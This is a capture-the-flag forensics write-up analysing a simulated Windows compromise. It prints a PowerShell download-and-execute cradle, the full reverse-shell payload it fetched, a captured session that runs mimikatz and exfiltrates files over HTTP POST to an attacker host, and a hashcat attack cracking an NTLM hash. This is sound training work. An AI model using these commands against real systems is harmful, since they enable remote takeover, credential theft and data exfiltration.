### LOCATE THE PAYLOAD
---
Medium | Forensics, IC | 75 points
---
### Description
The attackers seem to have gotten a foothold on our system. And executed some malicious code. We need to know what the code does.
---
### First Impressions
We are given four files,
- unlockthecity.json- unlockthecity.zip- unlockthecity.pcapng- rockyou.txt
I decided to start by unzipping the zip folder. Inside seems to be multiple folders and files from a windows 10 machine. I ran some grep searches on the contents and got a hit for “hack” which shows a [https://evilai.challenge.hackazon.org/update.ps1](https://evilai.challenge.hackazon.org/update.ps1) link in the Users/unlockthecity/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt file.
This ConsoleHost file seems to be a log of commands run in powershell. The context of our URL in the file is echo IEX(New-Object Net.WebClient).DownloadString('[https://evilai.challenge.hackazon.org/update.ps1](https://evilai.challenge.hackazon.org/update.ps1)') | powershell -noprofile -
Googling seems to reveal that this command runs a script on a remote server and outputs its result to stdout. The command only works in my powershell by removing the pipe, when I do, I get this, our flag for part 1 of this challenge! 
```php└─PS> echo IEX(New-Object Net.WebClient).DownloadString('https://evilai.challenge.hackazon.org/update.ps1%27)IEX$TCPClient = New-Object Net.Sockets.TCPClient('192.168.117.157', 4444);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()
# CTF{You_Found_The_EVIL_AI_Payload}```
## STOLEN FILES
---
Medium | Forensics, IC | 75 points
---
### Description
To report to the authorities we must know exactly which files have been taken by the attacker. Are you able to figure this out?
---
Moving onto the pcapng file. We can examine it in wireshark and we find the following package when searching for suspiciously large packages. 
### Wireshark Package
```phpSHELL> cd C:\TempSHELL> curl -uri http://192.168.117.157:8888/mimikatz.exe -outfile mimikatz.exeSHELL> & .\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > dump.txtSHELL> cp dump.txt \\192.168.117.159\unlockthecity\dump.txtcp : The network path was not foundAt line:1 char:1+ cp dump.txt \\192.168.117.159\unlockthecity\dump.txt+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~    + CategoryInfo          : NotSpecified: (:) [Copy-Item], IOException    + FullyQualifiedErrorId : System.IO.IOException,Microsoft.PowerShell.Commands.CopyItemCommand SHELL> $body = "file=$(get-content dump.txt -raw)"SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body $bodyInvoke-RestMethod : The underlying connection was closed: The connection was closed unexpectedly.At line:1 char:1+ Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body ...+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~    + CategoryInfo          : InvalidOperation: (System.Net.HttpWebRequest:HttpWebRequest) [Invoke-RestMethod], WebExc    eption    + FullyQualifiedErrorId : WebCmdletWebResponseException,Microsoft.PowerShell.Commands.InvokeRestMethodCommand SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body $bodyPOST request for /SHELL> cd \\WEF\SecretsSHELL> dir
    Directory: \\WEF\Secrets
Mode                LastWriteTime         Length Name                                                                  ----                -------------         ------ ----                                                                  -a----        7/15/2022  11:06 AM            180 A.rtf                                                                 -a----        7/15/2022  11:06 AM            180 B.rtf                                                                 -a----        7/15/2022  11:06 AM            180 C.rtf                                                                 -a----        7/15/2022  11:06 AM            180 D.rtf                                                                 -a----        7/15/2022  11:06 AM            180 E.rtf                                                                 -a----        7/15/2022  11:06 AM            180 F.rtf                                                                 -a----        7/15/2022  11:06 AM            180 G.rtf                                                                 -a----        7/15/2022  11:06 AM            180 H.rtf                                                                 -a----        7/15/2022  11:06 AM            180 I.rtf                                                                 -a----        7/15/2022  11:06 AM            180 J.rtf                                                                 -a----        7/15/2022  11:06 AM            180 K.rtf                                                                 -a----        7/15/2022  11:06 AM            180 L.rtf                                                                 -a----        7/15/2022  11:06 AM            180 M.rtf                                                                 -a----        7/15/2022  11:06 AM            180 N.rtf                                                                 -a----        7/15/2022  11:06 AM            180 O.rtf                                                                 -a----        7/15/2022  11:06 AM            180 P.rtf                                                                 -a----        7/15/2022  11:06 AM            180 Q.rtf                                                                 -a----        7/15/2022  11:06 AM            180 R.rtf                                                                 -a----        7/15/2022  11:06 AM            180 S.rtf                                                                 -a----        7/15/2022  11:06 AM            180 U.rtf                                                                 -a----        7/15/2022  11:06 AM            180 V.rtf                                                                 -a----        7/15/2022  11:06 AM            180 W.rtf                                                                 -a----        7/15/2022  11:06 AM            180 X.rtf                                                                 -a----        7/15/2022  11:06 AM            180 Y.rtf                                                                 -a----        7/15/2022  11:06 AM            180 Z.rtf                                                                 -a----        7/15/2022  11:06 AM            180 _.rtf                                                                 -a----        7/15/2022  11:06 AM            180 {.rtf                                                                 -a----        7/15/2022  11:06 AM            180 }.rtf                                                                 
SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content C.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content T.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content F.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content {.rtf -raw)"Invoke-Expression : At line:1 char:91+ ... 192.168.117.157:8888 -method POST -body "file=$(get-content {.rtf -ra ...+                                                                 ~Missing closing '}' in statement block or type definition.At line:1 char:515+ ... BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-S ...+                                   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~    + CategoryInfo          : ParserError: (:) [Invoke-Expression], ParseException    + FullyQualifiedErrorId : MissingEndCurlyBrace,Microsoft.PowerShell.Commands.InvokeExpressionCommand SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content `{.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content E.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content X.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content F.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content I.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content L.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content T.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content R.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content A.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content T.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content E.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content _.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content A.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content L.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content L.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content _.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content T.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content H.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content E.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content _.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content F.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content I.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content L.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content E.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content S.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content `}.rtf -raw)"POST request for /SHELL>```
Inside there is a series of post requests for files named a-z.rtf and the requests spell out CTF{EXFILTRATE_ALL_THE_FILES}. 
## PASSWORD CRACKING
---
Medium | Forensics, IC | 75 points
---
### Description
Can you please find out whether the attack was caused by a weak password? We need to know whether the users are adhering to our password policy. Our password policy for the domain is CTF{[ROCKYOU_1]_[ROCKYOU_2]!} where [ROCKYOU_1] and [ROCKYOU_2] are distinct words from the rockyou.txt list.
---
We find another package in wireshark which shows us the result of the mimikatz malware package that was run. Mimikatz is a program that is able to show windows passwords in plaintext to perhaps we can find a password here?
### Mimikatz Result
```phpPOST / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.18362.145Content-Type: application/x-www-form-urlencodedHost: 192.168.117.157:8888Content-Length: 5810Connection: Keep-Alive
file=  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo) ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [email protected] ) ## \ / ##       > https://blog.gentilkiwi.com/mimikatz '## v ##'       Vincent LE TOUX             ( [email protected] )  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # privilege::debugPrivilege '20' OK
mimikatz(commandline) # sekurlsa::logonpasswords
Authentication Id : 0 ; 303091 (00000000:00049ff3)Session           : Interactive from 1User Name         : unlockthecityDomain            : WINDOMAINLogon Server      : DCLogon Time        : 7/15/2022 12:36:04 PMSID               : S-1-5-21-2619478417-2971000410-135028378-1107	msv :		 [00000003] Primary	 * Username : unlockthecity	 * Domain   : WINDOMAIN	 * NTLM     : c5c70d1571e4fcc0d818cceab3025fcf	 * SHA1     : c8db2137682086005c05483bd0635ece23811243	 * DPAPI    : 87bb7ccc8291ba57bf86452544b861ad	tspkg :		wdigest :		 * Username : unlockthecity	 * Domain   : WINDOMAIN	 * Password : (null)	kerberos :		 * Username : unlockthecity	 * Domain   : WINDOMAIN.LOCAL	 * Password : (null)	ssp :		credman :		cloudap :	
Authentication Id : 0 ; 997 (00000000:000003e5)Session           : Service from 0User Name         : LOCAL SERVICEDomain            : NT AUTHORITYLogon Server      : (null)Logon Time        : 7/15/2022 12:35:28 PMSID               : S-1-5-19	msv :		tspkg :		wdigest :		 * Username : (null)	 * Domain   : (null)	 * Password : (null)	kerberos :		 * Username : (null)	 * Domain   : (null)	 * Password : (null)	ssp :		credman :		cloudap :	
Authentication Id : 0 ; 56287 (00000000:0000dbdf)Session           : Interactive from 1User Name         : DWM-1Domain            : Window ManagerLogon Server      : (null)Logon Time        : 7/15/2022 12:35:27 PMSID               : S-1-5-90-0-1	msv :		 [00000003] Primary	 * Username : WIN10$	 * Domain   : WINDOMAIN	 * NTLM     : 08479832c8a49b1c7926a41005a2ae37	 * SHA1     : 13b5af68e56a7b5e12dac129c829c14ac22e4022	tspkg :		wdigest :		 * Username : WIN10$	 * Domain   : WINDOMAIN	 * Password : (null)	kerberos :		 * Username : WIN10$	 * Domain   : windomain.local	 * Password : cm(kha)wk2Pc#b/+P2p$:ZU6_ury8i*8r;x]d=XHy(j[pWI[)Xz4=?!`xw<X@G'C.03]I(G:XU7NpIjIQWh9W&!u*Vd?tljcAH38!hW;zyi-^zX)0p;N6#B*	ssp :		credman :		cloudap :	
Authentication Id : 0 ; 996 (00000000:000003e4)Session           : Service from 0User Name         : WIN10$Domain            : WINDOMAINLogon Server      : (null)Logon Time        : 7/15/2022 12:35:27 PMSID               : S-1-5-20	msv :		 [00000003] Primary	 * Username : WIN10$	 * Domain   : WINDOMAIN	 * NTLM     : 08479832c8a49b1c7926a41005a2ae37	 * SHA1     : 13b5af68e56a7b5e12dac129c829c14ac22e4022	tspkg :		wdigest :		 * Username : WIN10$	 * Domain   : WINDOMAIN	 * Password : (null)	kerberos :		 * Username : win10$	 * Domain   : WINDOMAIN.LOCAL	 * Password : (null)	ssp :		credman :		cloudap :	
Authentication Id : 0 ; 34792 (00000000:000087e8)Session           : Interactive from 0User Name         : UMFD-0Domain            : Font Driver HostLogon Server      : (null)Logon Time        : 7/15/2022 12:35:27 PMSID               : S-1-5-96-0-0	msv :		 [00000003] Primary	 * Username : WIN10$	 * Domain   : WINDOMAIN	 * NTLM     : 08479832c8a49b1c7926a41005a2ae37	 * SHA1     : 13b5af68e56a7b5e12dac129c829c14ac22e4022	tspkg :		wdigest :		 * Username : WIN10$	 * Domain   : WINDOMAIN	 * Password : (null)	kerberos :		 * Username : WIN10$	 * Domain   : windomain.local	 * Password : cm(kha)wk2Pc#b/+P2p$:ZU6_ury8i*8r;x]d=XHy(j[pWI[)Xz4=?!`xw<X@G'C.03]I(G:XU7NpIjIQWh9W&!u*Vd?tljcAH38!hW;zyi-^zX)0p;N6#B*	ssp :		credman :		cloudap :	
Authentication Id : 0 ; 34683 (00000000:0000877b)Session           : Interactive from 1User Name         : UMFD-1Domain            : Font Driver HostLogon Server      : (null)Logon Time        : 7/15/2022 12:35:27 PMSID               : S-1-5-96-0-1	msv :		 [00000003] Primary	 * Username : WIN10$	 * Domain   : WINDOMAIN	 * NTLM     : 08479832c8a49b1c7926a41005a2ae37	 * SHA1     : 13b5af68e56a7b5e12dac129c829c14ac22e4022	tspkg :		wdigest :		 * Username : WIN10$	 * Domain   : WINDOMAIN	 * Password : (null)	kerberos :		 * Username : WIN10$	 * Domain   : windomain.local	 * Password : cm(kha)wk2Pc#b/+P2p$:ZU6_ury8i*8r;x]d=XHy(j[pWI[)Xz4=?!`xw<X@G'C.03]I(G:XU7NpIjIQWh9W&!u*Vd?tljcAH38!hW;zyi-^zX)0p;N6#B*	ssp :		credman :		cloudap :	
Authentication Id : 0 ; 33785 (00000000:000083f9)Session           : UndefinedLogonType from 0User Name         : (null)Domain            : (null)Logon Server      : (null)Logon Time        : 7/15/2022 12:35:27 PMSID               : 	msv :		 [00000003] Primary	 * Username : WIN10$	 * Domain   : WINDOMAIN	 * NTLM     : 08479832c8a49b1c7926a41005a2ae37	 * SHA1     : 13b5af68e56a7b5e12dac129c829c14ac22e4022	tspkg :		wdigest :		kerberos :		ssp :		credman :		cloudap :	
Authentication Id : 0 ; 999 (00000000:000003e7)Session           : UndefinedLogonType from 0User Name         : WIN10$Domain            : WINDOMAINLogon Server      : (null)Logon Time        : 7/15/2022 12:35:27 PMSID               : S-1-5-18	msv :		tspkg :		wdigest :		 * Username : WIN10$	 * Domain   : WINDOMAIN	 * Password : (null)	kerberos :		 * Username : win10$	 * Domain   : WINDOMAIN.LOCAL	 * Password : (null)	ssp :		credman :		cloudap :	
mimikatz(commandline) # exitBye!HTTP/1.0 200 OKServer: BaseHTTP/0.6 Python/3.10.4Date: Fri, 15 Jul 2022 13:04:11 GMTContent-type: text/html
POST request for /```
We see that our primary user UnlockTheCity password is hashed in NTLM as c5c70d1571e4fcc0d818cceab3025fcf. So not quite plaintext but I suppose that is where the cracking part of this challenge comes in.
We have been told that the password policy for the domain is CTF{[ROCKYOU]_[ROCKYOU]!} where at [ROCKYOU] you are allowed to pick any word from the rockyou.txt list.
So with this information we can use hashcat to crack the password. First we duplicate the rockyou text file and change its contents to CTF{wordshere_ and wordshere} respectively to fit the password policy. Then we simply run hashcat using a combined dictionary attack with both files.
```phpC:\Users\Matilda\Downloads\hashcat-5.1.0>hashcat64.exe -m 1000 -a 1 password.txt rockyouBegin.txt rockyouEnd.txthashcat (v5.1.0) starting...
* Device #2: WARNING! Kernel exec timeout is not disabled.             This may cause "CL_OUT_OF_RESOURCES" or related errors.             To disable the timeout, see: https://hashcat.net/q/timeoutpatchADL_Overdrive_Caps(): -8
ADL_Overdrive_Caps(): -8
ADL_Overdrive_Caps(): -8
ADL_Overdrive_Caps(): -8
nvmlDeviceGetFanSpeed(): Not Supported
OpenCL Platform #1: Advanced Micro Devices, Inc.================================================* Device #1: gfx902, 4869/6240 MB allocatable, 7MCU
OpenCL Platform #2: NVIDIA Corporation======================================* Device #2: NVIDIA GeForce GTX 1660 Ti with Max-Q Design, 1535/6143 MB allocatable, 24MCU
Dictionary cache built:* Filename..: rockyouBegin.txt* Passwords.: 5975702* Bytes.....: 87025903* Keyspace..: 5975694* Runtime...: 1 sec
Dictionary cache built:* Filename..: rockyouEnd.txt* Passwords.: 5975702* Bytes.....: 69098797* Keyspace..: 5975695* Runtime...: 1 sec
Hashes: 1 digests; 1 unique digests, 1 unique saltsBitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Applicable optimizers:* Zero-Byte* Early-Skip* Not-Salted* Not-Iterated* Single-Hash* Single-Salt* Raw-Hash
Minimum password length supported by kernel: 0Maximum password length supported by kernel: 256
ATTENTION! Pure (unoptimized) OpenCL kernels selected.This enables cracking passwords and salts > length 32 but for the price of drastically reduced performance.If you want to switch to optimized OpenCL kernels, append -O to your commandline.
Watchdog: Temperature abort trigger set to 90c
Dictionary cache hit:* Filename..: rockyouBegin.txt* Passwords.: 5975694* Bytes.....: 87025903* Keyspace..: 35708924757330
Driver temperature threshold met on GPU #2. Expect reduced performance.Driver temperature threshold met on GPU #2. Expect reduced performance.ass [c]heckpoint [q]uit =>Driver temperature threshold met on GPU #2. Expect reduced performance.
Cracking performance lower than expected?
* Append -O to the commandline.  This lowers the maximum supported password- and salt-length (typically down to 32).
* Append -w 3 to the commandline.  This can cause your screen to lag.
* Update your OpenCL runtime / driver the right way: https://hashcat.net/faq/wrongdriver
* Create more work items to make use of your parallelization power: https://hashcat.net/faq/morework
[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit =>
Session..........: hashcatStatus...........: RunningHash.Type........: NTLMHash.Target......: c5c70d1571e4fcc0d818cceab3025fcfTime.Started.....: Wed Jul 20 20:17:47 2022 (14 secs)Time.Estimated...: Wed Jul 20 22:53:57 2022 (2 hours, 35 mins)Guess.Base.......: File (rockyouBegin.txt), Left SideGuess.Mod........: File (rockyouEnd.txt), Right SideSpeed.#1.........:   629.0 MH/s (3.75ms) @ Accel:64 Loops:32 Thr:256 Vec:1Speed.#2.........:  3182.1 MH/s (20.85ms) @ Accel:256 Loops:64 Thr:256 Vec:1Speed.#*.........:  3811.1 MH/sRecovered........: 0/1 (0.00%) Digests, 0/1 (0.00%) SaltsProgress.........: 48844767232/35708924757330 (0.14%)Rejected.........: 0/48844767232 (0.00%)Restore.Point....: 0/5975694 (0.00%)Restore.Sub.#1...: Salt:0 Amplifier:71264-71296 Iteration:0-32Restore.Sub.#2...: Salt:0 Amplifier:25856-25920 Iteration:0-64Candidates.#1....: CTF{123456_brat!} -> CTF{022580_blaize!}Candidates.#2....: CTF{022579_010706!} -> CTF{jasonmae_ramadan!}Hardware.Mon.#1..: Util: 90% Core:1600MHz Mem: 400MHz Bus:16Hardware.Mon.#2..: Temp: 32c Util: 70% Core:1103MHz Mem: 644MHz Bus:8
[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit =>
Session..........: hashcatStatus...........: RunningHash.Type........: NTLMHash.Target......: c5c70d1571e4fcc0d818cceab3025fcfTime.Started.....: Wed Jul 20 20:17:47 2022 (22 secs)Time.Estimated...: Wed Jul 20 22:51:43 2022 (2 hours, 33 mins)Guess.Base.......: File (rockyouBegin.txt), Left SideGuess.Mod........: File (rockyouEnd.txt), Right SideSpeed.#1.........:   685.3 MH/s (3.73ms) @ Accel:64 Loops:32 Thr:256 Vec:1Speed.#2.........:  3181.2 MH/s (20.79ms) @ Accel:256 Loops:64 Thr:256 Vec:1Speed.#*.........:  3866.5 MH/sRecovered........: 0/1 (0.00%) Digests, 0/1 (0.00%) SaltsProgress.........: 82109792256/35708924757330 (0.23%)Rejected.........: 0/82109792256 (0.00%)Restore.Point....: 0/5975694 (0.00%)Restore.Sub.#1...: Salt:0 Amplifier:127872-127904 Iteration:0-32Restore.Sub.#2...: Salt:0 Amplifier:42880-42944 Iteration:0-64Candidates.#1....: CTF{123456_073079!} -> CTF{022580_07051989!}Candidates.#2....: CTF{022579_loves2!} -> CTF{jasonmae_johnny4!}Hardware.Mon.#1..: Util: 90% Core: 400MHz Mem: 400MHz Bus:16Hardware.Mon.#2..: Temp: 33c Util: 68% Core:1080MHz Mem: 635MHz Bus:8
c5c70d1571e4fcc0d818cceab3025fcf:CTF{city123_unlocked!}
Session..........: hashcatStatus...........: CrackedHash.Type........: NTLMHash.Target......: c5c70d1571e4fcc0d818cceab3025fcfTime.Started.....: Wed Jul 20 20:17:47 2022 (46 secs)Time.Estimated...: Wed Jul 20 20:18:33 2022 (0 secs)Guess.Base.......: File (rockyouBegin.txt), Left SideGuess.Mod........: File (rockyouEnd.txt), Right SideSpeed.#1.........:   770.4 MH/s (3.82ms) @ Accel:64 Loops:32 Thr:256 Vec:1Speed.#2.........:  3180.3 MH/s (21.21ms) @ Accel:256 Loops:64 Thr:256 Vec:1Speed.#*.........:  3950.8 MH/sRecovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) SaltsProgress.........: 176357900288/35708924757330 (0.49%)Rejected.........: 0/176357900288 (0.00%)Restore.Point....: 0/5975694 (0.00%)Restore.Sub.#1...: Salt:0 Amplifier:286976-287008 Iteration:0-32Restore.Sub.#2...: Salt:0 Amplifier:91136-91200 Iteration:0-64Candidates.#1....: CTF{123456_080526!} -> CTF{022580_0746255119!}Candidates.#2....: CTF{022579_viejito!} -> CTF{jasonmae_trese13!}Hardware.Mon.#1..: Util: 82% Core: 400MHz Mem: 400MHz Bus:16Hardware.Mon.#2..: Temp: 37c Util: 68% Core:1055MHz Mem: 625MHz Bus:8
Started: Wed Jul 20 20:17:19 2022Stopped: Wed Jul 20 20:18:35 2022```
Our result is c5c70d1571e4fcc0d818cceab3025fcf:CTF{city123_unlocked!} which is our final flag!